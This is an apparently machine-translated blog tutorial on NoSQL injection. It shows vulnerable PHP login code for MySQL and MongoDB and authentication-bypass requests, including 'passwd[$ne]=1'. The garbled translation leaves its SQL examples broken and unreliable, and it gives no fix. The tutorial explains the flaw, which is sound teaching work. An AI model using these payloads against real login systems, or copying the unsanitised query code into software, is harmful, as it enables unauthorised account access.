How to use GET parameters to judge not strictly MongoDB injection
This article to share with you is about how to use GET parameters to judge not strictly MongoDB injection, Xiaobian feel quite practical, so share to everyone to learn, I hope you can read this article after some gains, not much to say, follow Xiaobian to see it.
In the era of relational databases, SQL injection attack and defense has become a compulsory course for almost every Web developer, and many NoSQL supporters call NoSQL as well as NoSQL injection.
How to use GET parameter to judge whether MongoDB injection is not strict
Using SQL database to store user name and password system, our process of detecting user name and password may be like this:
mysql_query("SELECT*FROMuser
WHEREusername=".$_ GET['username']. ",
ANDpasswd=".$_ GET['passwd'])
The simplest username and password detection we can do with MongoDB might be something like this:
$collection->find(array(
"username"=>$_GET['username'],
"passwd"=>$_GET['passwd']
));
How to use GET parameter to judge whether MongoDB injection is not strict
In the most common SQL injection, we can construct a request like this:
login.php? username=admin&passwd=abcOR1-
This request would form an SQL statement like this:
SELECT*FROMuserWHEREusername=adminANDpasswd=abcOR1;
Successful injection!
Using the same approach, for the MongoDB query above, you can construct the following request:
login.php? username=admin&passwd[$ne]=1
This request forms a MongoDB query like this:
$collection->find(array(
"username"=>"admin",
"passwd"=>array("$ne"=>1)
));
Successful injection!
The above is how to use GET parameters to judge whether MongoDB injection is strictly carried out. Xiaobian believes that some knowledge points may be seen or used in our daily work. I hope you can learn more from this article. For more details, please follow the industry information channel.